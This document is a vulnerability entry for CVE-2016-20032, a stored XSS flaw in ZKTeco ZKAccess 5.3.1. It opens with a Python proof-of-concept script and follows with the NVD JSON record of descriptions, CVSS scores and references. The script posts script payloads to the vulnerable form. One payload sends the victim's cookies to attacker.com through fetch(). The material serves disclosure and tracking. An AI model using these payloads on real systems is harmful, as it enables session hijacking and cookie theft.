CVE-2016-20032

import requests # CVE-2016-20032 Stored XSS PoC # Target: ZKTeco ZKAccess Security System 5.3.1 target_url = "http://target.com/zkaccess/holiday/add" # Malicious payload for holiday_name parameter payload = { "holiday_name": "<script>alert(document.cookie)</script>", "memo": "<img src=x onerror=fetch('http://attacker.com/log?c='+document.cookie)>" } # Send malicious POST request (no authentication required) response = requests.post(target_url, data=payload, timeout=10) print(f"Status: {response.status_code}") print("Payload sent successfully. Script will execute when admin visits holiday page.")

{"cve": {"id": "CVE-2016-20032", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:50.097", "lastModified": "2026-04-15T14:56:45.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZKTeco ZKAccess Security System 5.3.1 contains a stored cross-site scripting vulnerability that allows attackers to execute arbitrary HTML and script code by injecting malicious payloads through the 'holiday_name' and 'memo' POST parameters. Attackers can submit crafted requests with script code in these parameters to compromise user browser sessions and steal sensitive information."}, {"lang": "es", "value": "ZKTeco ZKAccess Security System 5.3.1 contiene una vulnerabilidad de cross-site scripting almacenada que permite a los atacantes ejecutar código HTML y de script arbitrario inyectando cargas útiles maliciosas a través de los parámetros POST 'holiday_name' y 'memo'. Los atacantes pueden enviar solicitudes manipuladas con código de script en estos parámetros para comprometer las sesiones del navegador del usuario y robar información sensible."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2016090004", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/116479", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/138572", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/40328/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/zkteco-zkaccess-security-system-stored-xss", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5368.php", "source": "[email protected]"}]}}